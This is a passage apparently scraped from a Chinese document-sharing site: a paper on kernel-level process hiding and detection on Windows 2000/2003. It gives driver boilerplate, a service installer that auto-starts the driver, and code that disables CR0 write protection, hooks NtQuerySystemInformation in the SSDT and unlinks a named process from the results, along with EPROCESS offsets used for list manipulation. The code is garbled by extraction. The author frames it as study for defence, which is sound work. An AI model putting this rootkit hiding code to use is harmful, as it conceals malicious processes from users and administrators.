版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
1、Windows2003 內(nèi)核級進程隱藏、偵測技術(shù) 關(guān)鍵字: 內(nèi)核攔截活動進程鏈表系統(tǒng)服務(wù)派遣表線程調(diào)度鏈 驅(qū)動程序簡介 論文摘要:信息對抗是目前機的一個重要的方向,為了更好的防御,必須去深入的了解敵人進攻的招式。信息對抗促使信息技術(shù)飛速的發(fā)展。下面我選取了信息對抗技術(shù)的中一個很小一角關(guān)于windows內(nèi)核級病毒隱藏技術(shù)和反病毒偵測技術(shù)作為議題詳細討論。 1.為什么選驅(qū)動程序 驅(qū)動程序是運行在系統(tǒng)信任的Ring0環(huán)境下在代碼,她擁有對系
2、統(tǒng)任何軟件和硬件的訪問權(quán)限。這意味著內(nèi)核驅(qū)動可以訪問所有的系統(tǒng)資源,可以讀取所有的內(nèi)存空間,而且也被允許執(zhí)行CPU的特權(quán)指令,如,讀取CPU控制寄存器的當(dāng)前值等。而處于用戶模式下的程序如果試圖從內(nèi)核空間中讀取一個字節(jié)或者試圖執(zhí)行像MOV EAX,CR3這樣的匯編指令都會被立即終止掉。不過,這種強大的底線是驅(qū)動程序的一個很小的錯誤就會讓整個系統(tǒng)崩潰。所以對隱藏和反隱藏技術(shù)來說都提供了一個極好的環(huán)境。但是又對攻擊者和反查殺者提出了更高的技術(shù)要求。 2.入口例程DriverEntry DriverEntry是內(nèi)核模式驅(qū)動程序主入口點常用的名字,她的作用和main,W
3、inMain,是一樣的。 extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) . DriverEntry的第一個參數(shù)是一個指針,指向一個剛被初始化的驅(qū)動程序?qū)ο?,該對象就代表你的?qū)動程序,DriverEntry的第二個參數(shù)是設(shè)備服務(wù)鍵的鍵名。DriverEntry函數(shù)返回一個NTSTATUS值。NTSTATUS實際就是一個長整型,但你應(yīng)該使用N
4、TSTATUS定義該函數(shù)的返回值而不是LONG,這樣代碼的可讀性會更好。大部分內(nèi)核模式支持例程都返回NTSTATUS狀態(tài)代碼,你可以在DDK頭文件NTSTATUS.H中找到NTSTATUS的代碼列表。 DriverEntry的作用主要就是創(chuàng)建設(shè)備對象,建立設(shè)備對象的符號鏈接,設(shè)置好各個類型的回調(diào)函數(shù)等。 例如: extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_ST
5、RING RegistryPath) DriverObject->DriverUnload = DriverUnload;
6、0; <-1 DriverObject->DriverExtension->AddDevice = AddDevice; DriverObject->DriverStartIo
7、;= StartIo; DriverObject->MajorFunctionIRP_MJ_PNP = DispatchPnp;
8、160; <-2 DriverObject->MajorFunctionIRP_MJ_POWER = DispatchPower; DriverObject->MajorFunctionIRP_MJ_SYSTEM_CONTROL = DispatchWmi; . 在WDM中通過設(shè)置AddDevice回調(diào)函數(shù)來創(chuàng)建設(shè)備對象。在NT驅(qū)動中在DriverEntry例程中創(chuàng)建設(shè)備對象和符號鏈
9、接。 例如: RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); /初始化設(shè)備名字 /創(chuàng)建設(shè)備 ntStatus = IoCreateDevice (DriverObject,
10、0; 0, &deviceNameUnicodeString, &
11、#160; #DeviceId,
12、160; 0, FALSE,
13、0; &deviceObject
14、0;); if ( NT_SUCCESS ( ntStatus ) ) RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); /初始化符號鏈接名字 /創(chuàng)建符號鏈接 ntStatus = IoCreateSymbolicLink (&am
15、p;deviceLinkUnicodeString, &deviceNameUnicodeString); if ( !NT_SUCCESS ( ntStatus ) ) IoDeleteDevice (deviceObject); /如果創(chuàng)建符號鏈接失敗,刪除設(shè)備
16、60; return ntStatus; 建立符號鏈接的作用就是暴露一個給應(yīng)用程序的接口,應(yīng)用程序可以通過CreateFile API打開鏈接符號,得到一個語柄,和我們的驅(qū)動程序進行交互操作。 3.Unload例程 雖然各個驅(qū)動程序的Unload例程不盡相同,但是它大致執(zhí)行下列工作: 釋放屬于驅(qū)動程序的任何硬件。 從Win32的名字空間移除符號連接名。 這個動作可以調(diào)用IoDeleteSymbolicLin
17、k來實現(xiàn)。 使用IoDeleteDevice移除設(shè)備對象。 釋放驅(qū)動程序持有的任何緩沖池等。 VOID DriverUnload ( IN PDRIVER_OBJECT pDriverObject ) PDEVICE_OBJECT pNextObj; / 循環(huán)每一個驅(qū)動過程控制的設(shè)備 pNextObj = pDriverObject->DeviceObject; while (pNe
18、xtObj != NULL) /從設(shè)備對象中取出設(shè)備Extension PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension; / 取出符號連接名 UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName; IoDeleteSymbolicLink(&pLinkName);
19、0;/刪除符號連接名 IoDeleteDevice(pNextObj); / 刪除設(shè)備 pNextObj = pNextObj->NextDevice; 4. 派遣例程 Win2000的I/O請求是包驅(qū)動的,當(dāng)一個I/O請求開始,I/O管理器先創(chuàng)建一個IRP去跟蹤這個請求,另外,它存儲一個功能代碼在IRP的I/O堆棧區(qū)的MajorField域中來唯一的標(biāo)識請求的類型。MajorField域是被I/O管理器用來索引驅(qū)動程序?qū)ο蟮腗ajorFunction表,這個表包
20、含一個指向一個特殊I/O請求的派遣例程的功能指針,如果驅(qū)動程序不支持這個請求,MajorFunction表就會指向I/O管理器函數(shù)_IopInvalidDeviceRequest,該函數(shù)返回一個錯誤給原始的調(diào)用者。驅(qū)動程序的作者有責(zé)任提供所有的驅(qū)動程序支持的派遣例程。所有的驅(qū)動程序必須支持IRP_MJ_CREATE功能代碼,因為這個功能代碼是用來響應(yīng)Win32用戶模式的CreateFile調(diào)用,如果不支持這功能代碼,Win32程序就沒有辦法獲得設(shè)備的句柄,類似的,驅(qū)動程序必須支持IRP_MJ_CLOSE功能代碼,因為它用來響應(yīng)Win32用戶模式的CloseHandle調(diào)用。順便提一下,系統(tǒng)自動
21、調(diào)用CloseHandle函數(shù),因為在程序退出的時候,所有的句柄都沒有被關(guān)閉。 static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) NTSTATUS status; PIO_STACK_LOCATION irpSp;
22、 /得到當(dāng)前IRP (I/O請求包) irpSp = IoGetCurrentIrpStackLocation( Irp ); switch (irpSp->MajorFunction) case I
23、RP_MJ_CREATE: DbgPrint("IRP_MJ_CREATEn"); Irp->IoStatus.Status = STATUS_SUCCESS;
24、0; Irp->IoStatus.Information = 0L; break; case IRP_MJ_CLOSE:
25、 DbgPrint("IRP_MJ_CLOSEn"); Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information
26、60;= 0L; break; IoCompleteRequest(Irp, 0); return STATUS_SUCCESS; 大部分的I/O管理器的操作支持一個標(biāo)準(zhǔn)的讀寫提取,IRP_MJ_DEVIC
27、E_CONTROL允許擴展的I/O請求,使用用戶模式的DeviceIoControl函數(shù)來調(diào)用,I/O管理器創(chuàng)建一個IRP,這個IRP的MajorFunction和IoControlCode是被DeviceIoControl函數(shù)指定其內(nèi)容。傳遞給驅(qū)動程序的IOCTL遵循一個特殊的結(jié)構(gòu),它有32-bit大小,DDK包含一個方便的產(chǎn)生IOCTL值的機制的宏,CTL_CODE。可以使用CTL_CODE宏來定義我們自己的IOCTL。 例如: #define IOCTL_MISSLEDEVICE_AIM CTL_CODE (
28、 FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY ) NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp ) NTSTATUS status = STATUS_SUCCESS;
29、160; PDEVICE_EXTENSION pDE; PVOID userBuffer; ULONG inSize; ULONG outSize; ULONG controlCode;
30、160; / IOCTL請求代碼 PIO_STACK_LOCATION pIrpStack; /堆棧區(qū)域存儲了用戶緩沖區(qū)信息 pIrpStack = IoGetCurrentIrpStackLocation( pIrp
31、 ); / 取出IOCTL請求代碼 controlCode = pIrpStack-> Parameters.DeviceIoControl.IoControlCode; / 得到請求緩沖區(qū)大小 inSize = pIrpStack-> Parameters
32、.DeviceIoControl.InputBufferLength; OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength; /現(xiàn)在執(zhí)行二次派遣 switch (controlCode)
33、160; case IOCTL_MISSLEDEVICEAIM: . case IOCTL_DEVICE_LAUNCH: .
34、 default: / 驅(qū)動程序收到了未被承認的控制代碼 status = STATUS_INVALID_DEVICE_REQUEST; pIrp->IoStatus.Information = 0; / 數(shù)據(jù)沒有傳輸
35、0; IoCompleteRequest( pIrp, IO_NO_INCREMENT ) return status; 5.驅(qū)動程序的安裝 SC管理器(即服務(wù)控制管理器)可以控制服務(wù)和驅(qū)動程序。 加載和運行一個服務(wù)需要執(zhí)行的典型操作
36、步驟: 1.調(diào)用OpenSCManager()以獲取一個管理器句柄 2.調(diào)用CreateService()來向系統(tǒng)中添加一個服務(wù) 3.調(diào)用StartService()來運行一個服務(wù) 4.調(diào)用CloseServiceHandle()來釋放管理器或服務(wù)句柄 BOOL InstallDriver
37、() SC_HANDLE hSCManager = NULL; hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if(hSCManager = NULL) fpri
38、ntf(stderr, "OpenSCManager() failed. -err: %dn", GetLastError(); return FALSE; SC_HANDLE schService; schService = CreateServ
39、ice( hSCManager, /SCManager database "MyDriver",
40、; / name of service "MyDriver",
41、; / name to display SERVICE_ALL_ACCESS, / desired acces
42、s SERVICE_KERNEL_DRIVER, / service type
43、; SERVICE_AUTO_START, / start type
44、;SERVICE_ERROR_NORMAL, / error control type DriverPath,
45、60; / services binary NULL,
46、 / no load ordering group NULL,
47、0; / no tag identifier NULL,
48、 / no dependencies
49、160; NULL, / LocalSystem account &
50、#160; NULL / no password
51、60; ); if (schService = NULL) if(GetLastError() = ERROR_SERVICE_EXISTS)
52、; printf("Service has already installed!n"); p
53、rintf("Install driver false!"); return FALSE; BOOL nRet = StartService(schService, 0, NULL);
54、 if(!nRet) if(GetLastError() = ERROR_SERVICE_ALREADY_RUNNING) printf("Serv
55、ice is already running!n"); return FALSE; CloseServiceHandle(schService); CloseServiceHandle(hSCManager);
56、 return TRUE; 以上對驅(qū)動程序大致框架做了一個非常簡單的介紹,這僅僅是驅(qū)動程序中的一個”Hello World!”。驅(qū)動程序是相當(dāng)復(fù)雜的,由于我們只是利用驅(qū)動程序的特權(quán),對windows內(nèi)核進行修改,所以就不對驅(qū)動驅(qū)動程序進行深入討論了。 通過Hook SSDT (System Service Dispath Table) 隱藏進程 1.原理介紹: Windows操作系統(tǒng)是一種分層的架構(gòu)體系。應(yīng)用層的程序是通過API來訪問操作系統(tǒng)。
57、而API又是通過ntdll里面的核心API來進行系統(tǒng)服務(wù)的查詢。核心API通過對int 2e的切換,從用戶模式轉(zhuǎn)換到內(nèi)核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函數(shù)KiSystemService()來實現(xiàn)的。在你使用了一個系統(tǒng)調(diào)用時,必須首先裝載要調(diào)用的函數(shù)索引號到EAX寄存器中。把指向參數(shù)區(qū)的指針被保存在EDX寄存器中。中斷調(diào)用后,EAX寄存器保存了返回的結(jié)果。KiSystemService()是根據(jù)EAX的值來決定哪個函數(shù)將被調(diào)用。而系統(tǒng)在SSDT中維持了一個數(shù)組,專門用來索引特定的函數(shù)服務(wù)地址。在Windows 2000中有一個未公開的由ntoskr
58、nl.exe導(dǎo)出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應(yīng)于一個數(shù)據(jù)結(jié)構(gòu),定義如下: typedef struct SystemServiceDescriptorTable UINT *ServiceTableBase; UINT *ServiceCounterTabl
59、eBase; UINT NumberOfService; UCHAR *ParameterTableBase; SystemServiceDescriptorTable,*PSystemServiceDescriptorTable; 其中ServiceTableBase指向系統(tǒng)服務(wù)程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數(shù)地址,它們都包含了NumberOfS
60、ervice這么多個數(shù)組單元。在windows 2000 sp4中NumberOfService的數(shù)目是248個。 我們的任務(wù)管理器,是通過用戶層的API來枚舉當(dāng)前的進程的。Ring3級枚舉的方法: PSAPI EnumProcesses() ToolHelp32 Process32First() - Process32Next() 來對進程進行枚舉。而她們最后都是通過NtQuerySystemInformation來進行查詢的。所以
61、我們只需要Hook掉NtQuerySystemInformation,把真實NtQuerySystemInformation返回的數(shù)進行添加或者是刪改,就能有效的欺騙上層API。從而達到隱藏特定進程的目的。 2. Hook Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD類型的讀出來保存一個全局變量中然后再把她重新賦值成一個新的Hook函數(shù)的地址,就完成了Hook。 OldFuncAddress = KeSer
62、viceDescriptorTable-> ServiceCounterTableBase0x97; KeServiceDescriptorTable-> ServiceCounterTableBase0x97 = NewFuncAddress; 在其他系統(tǒng)中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在Undocument Nt中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 導(dǎo)出的 ZwQuerySystemInformation中
63、包含有索引號的硬編碼: kd> u ZwQuerySystemInformation 804011aa b897000000 mov eax,0x97 804011af 8d542404
64、 lea edx,esp+0x4 804011b3 cd2e int 2e 804011b5 c21000 &
65、#160; ret 0x10 所以只需要把ZwQuerySystemInformation入口處的第二個字節(jié)取出來就能得到相應(yīng)的索引號了。例如: ID = *(PULONG)(PUCHAR)ZwQuerySystemInformation+1); RealZwQuerySystemInformation=(PServiceDescriptor
66、TableEntry)KeServiceDescriptorTable)->ServiceTableBaseID); (PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBaseID = HookZwQuerySystemInformation; 3.對NtQuerySystemInformation返回的數(shù)據(jù)進行刪改 NtQuerySystemInformation的原型: NtQuerySystemInformation(
67、160; IN ULONG SystemInformationClass, /查詢系統(tǒng)服務(wù)類型 IN PVOID SystemInformation, /接收系統(tǒng)信息緩沖區(qū)
68、60; IN ULONG SystemInformationLength, /接收信息緩沖區(qū)大小 OUT PULONG ReturnLength); /實際接收到的大小 NtQuerySystemInformation可以對系統(tǒng)的很多狀態(tài)進行查詢,不僅僅是對進程的查詢,通過SystemInformationClas
69、s號來區(qū)分功能,當(dāng)SystemInformationClass等于5的時候是在進行進程的查詢。此時返回的SystemInformation 是一個 _SYSTEM_PROCESSES結(jié)構(gòu)。 struct _SYSTEM_PROCESSES ULONG NextEntryDelta; /下一個進程信息的偏移量,如果為0表示無一個進程信息 ULONG ThreadCoun
70、t; /線程數(shù)量 ULONG Reserved6; / LARGE_INTEGER CreateTime; /創(chuàng)建進程的時間 LARGE_INTEGER UserTime;
71、0; /進程中所有線程在用戶模式運行時間的總和 LARGE_INTEGER KernelTime; /進程中所有線程在內(nèi)核模式運行時間的總和 UNICODE_STRING ProcessName; /進程的名字 &
72、#160;KPRIORITYBasePriority; /線程的缺省優(yōu)先級 ULONG ProcessId; /進程ID號 ULONG InheritedFromP
73、rocessId; /繼承語柄的進程ID號 ULONG HandleCount; /進程打開的語柄數(shù)量 ULONG Reserved22; &
74、#160; / VM_COUNTERS VmCounters; /虛擬內(nèi)存的使用情況統(tǒng)計 IO_COUNTERS IoCounters; /IO操作的統(tǒng)計,Only For
75、0;2000 struct _SYSTEM_THREADS Threads1; /描述進程中各線程的數(shù)組 ; 當(dāng)NextEntryDelta域等于0時表示已經(jīng)到了進程信息鏈的末尾。我們要做的僅僅是把要隱藏的進程從鏈中刪除。 4. 核心實現(xiàn) /系統(tǒng)服務(wù)表入口地址 extern PServiceDescriptorTableEntry KeServiceDescriptorTable; NTSTATUS
76、60;DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) _asm mov eax, cr0
77、60; mov CR0VALUE, eax and eax, 0fffeffffh /DisableWriteProtect mov cr0, eax /取得原來ZwQuerySys
78、temInformation的入口地址 RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase*(PULONG)(PUCHAR)ZwQuerySystemInformation+1) ); /Hook (PServiceDescriptorTableEntry)KeServiceDescr
79、iptorTable)->ServiceTableBase*(PULONG)(PUCHAR)ZwQuerySystemInformation+1)=HookFunc; /EnableWriteProtect _asm mov eax, CR0VALUE
80、60; mov cr0, eax return STATUS_SUCCESS; VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject) &
81、#160; /UnHook恢復(fù)系統(tǒng)服務(wù)的原始入口地址 (PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase*(PULONG)(PUCHAR)ZwQuerySystemInformation+1) = RealZwQuerySystemInformation; NTSTA
82、TUS HookFunc( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLe
83、ngth, OUT PULONG ReturnLength) NTSTATUS rc; struct _SYSTEM_PROCESSES *curr; / 保存上一個進程信息的指針
84、0;struct _SYSTEM_PROCESSES *prev = NULL; /調(diào)用原函數(shù) rc = (RealZwQuerySystemInformation) ( SystemInformationClass,
85、; SystemInformation, SystemInformationLength, ReturnLength); if(NT_SUCCESS(rc) if(5 = SystemInformationClass) /如果系統(tǒng)查詢類型是SystemProcessesAndThreadsIn
86、formation curr = (struct _SYSTEM_PROCESSES *)SystemInformation; /加第一個
87、偏移量得到第一個system進程的信息首地址 if(curr->NextEntryDelta)(char *)curr += curr->NextEntryDelta); while(curr) &
88、#160; if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) = 0) &
89、#160; /找到要隱藏的進程 if(prev)
90、
91、0; if(curr->NextEntryDelta)
92、; /要刪除的信息在中間
93、prev->NextEntryDelta += curr->NextEntryDelta;
94、60; else
95、60; /要刪除的信息在末尾 prev->NextEntryDelt
96、a = 0;
97、 else
98、; if(curr->NextEntryDelta)
99、 /要刪除的信息在開頭 &
100、#160; (char *)SystemInformation += curr->NextEntryDelta;
101、60; else
102、60; SystemInformation = NULL;
103、60; /如果鏈下一個還有其他的進程信息,指針
104、往后移 if(curr->NextEntryDelta) (char*)curr+=curr->NextEntryDelta);
105、160; else
106、160;curr = NULL; break;
107、160; if(curr != NULL)
108、60; /把當(dāng)前指針設(shè)置成前一個指針,當(dāng)前指針后移
109、0; prev = curr; if(curr->NextEntryDelta) (char*)curr+=curr->NextEntryDelta);
110、0; else curr = NULL; / end
111、160;while(curr) return rc; 通過IOCTL和Ring3級的應(yīng)用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用, DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,
112、 NULL,0,& BytesReturned,NULL)來通知驅(qū)動程序要隱藏的進程的名字。 枚舉和修改活動進程鏈表來檢測和隱藏進程 1. 介紹EPROCESS塊(進程執(zhí)行塊) 每個進程都由一個EPROCESS塊來表示。EPROCESS塊中不僅包含了進程相關(guān)了很多信息,還有很多指向其他相關(guān)結(jié)構(gòu)數(shù)據(jù)結(jié)構(gòu)的指針。例如每一個進程里面都至少有一個ETHREAD塊表示的線程。進程的名字,和在用戶空間的PEB(進程環(huán)境)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統(tǒng)空間中的。 2. 查
113、看EPROCESS結(jié)構(gòu) kd> !processfields !processfields EPROCESS structure offsets: Pcb:
114、 0x0 ExitStatus: 0x6c LockEvent:
115、 0x70 LockCount:
116、60; 0x80 CreateTime: 0x88 ExitTime:
117、60; 0x90 LockOwner:
118、0x98 UniqueProcessId: 0x9c ActiveProcessLinks:
119、60; 0xa0 QuotaPeakPoolUsage0: 0xa8 QuotaPoolUsage0:
120、;0xb0 PagefileUsage: 0xb8 CommitCharge:
121、0; 0xbc PeakPagefileUsage: 0xc0 PeakVirtualSize:
122、160; 0xc4 VirtualSize: 0xc8 Vm:&
123、#160; 0xd0 DebugPort:
124、0; 0x120 ExceptionPort: 0x124 Ob
125、jectTable: 0x128 Token:
126、160; 0x12c WorkingSetLock: 0x130 WorkingSetPage:
127、160; 0x150 ProcessOutswapEnabled: 0x154 ProcessOutswapped:
128、0; 0x155 AddressSpaceInitialized: 0x156 AddressSpaceDeleted:
129、160; 0x157 AddressCreationLock: 0x158 ForkInProgress:
130、60; 0x17c VmOperation: 0x180
131、60; VmOperationEvent: 0x184 PageDirectoryPte: 0x1f0
132、 LastFaultCount: 0x18c VadRoot:
133、 0x194 VadHint: 0x198
134、0; CloneRoot: 0x19c NumberOfPrivatePages:
135、60; 0x1a0 NumberOfLockedPages: 0x1a4 ForkWasSuccessful: &
136、#160; 0x182 ExitProcessCalled: 0x1aa CreateProcessReported:
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 口腔解剖生理學(xué)-第十一章(面頸顱部局部解剖)
- 食品安全案例-課件案例十六-豆?jié){煮制不充分引起的食物中毒
- 小額個人貸款協(xié)議書范本
- 技術(shù)合同寫作指南:技術(shù)開發(fā)合同的主要條款撰寫
- 家庭聚會花卉布置協(xié)議
- 土地租賃期滿拆除協(xié)議
- 材料采購合同寫作技巧
- 裝修合同的主要內(nèi)容有哪些
- 標(biāo)準(zhǔn)住宅出租合同樣本
- 倉庫租賃合同書范本
- 2020年山東煙臺中考滿分作文《就這樣被打動》9
- 2024-2030年中國盾構(gòu)機行業(yè)發(fā)展趨勢與投資策略建議報告
- 2024年重慶高考化學(xué)試題卷(含答案解析)
- 堅持人民至上以人民為中心心得體會三篇
- 2024年新人教版數(shù)學(xué)七年級上冊 3.2 求代數(shù)式的值 教學(xué)課件
- 初中足球運球技術(shù)教案
- 華為HCIA OpenEuler H12-611認證必考試復(fù)習(xí)題庫(含答案)
- 2024-2030年中國原油行業(yè)發(fā)展趨勢及發(fā)展前景研究報告
- 2024年秋季學(xué)期新人教版生物七年級上冊課件 第三章 微生物 2.3.4 病毒
- 統(tǒng)編版(2024)道德與法治七年級上冊:第1-13課全冊教案(共26課時)
- 2024至2030年中國超聲換能器行業(yè)市場經(jīng)營管理及發(fā)展趨勢預(yù)測報告
評論
0/150
提交評論